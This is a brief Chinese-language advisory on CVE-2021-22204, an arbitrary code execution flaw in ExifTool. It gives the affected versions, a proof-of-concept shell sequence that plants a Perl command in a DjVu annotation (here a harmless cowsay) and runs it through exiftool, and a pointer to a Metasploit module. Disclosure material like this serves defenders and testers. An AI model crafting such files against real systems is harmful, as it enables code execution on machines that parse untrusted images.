CVE-2021-22204 ExifTool任意代碼執行漏洞

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影響版本

ExifTool 7.44 to 12.23

POC

  $ printf 'P1 1 1 0' > moo.pbm
   $ cjb2 moo.pbm moo.djvu
   $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu
   $ exiftool moo.djvu > /dev/null
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||

-- 
Jakub Wilk

Metasploit

https://github.com/rapid7/metasploit-framework/pull/15185

exploit/unix/fileformat/exiftool_djvu_ant_perl_injection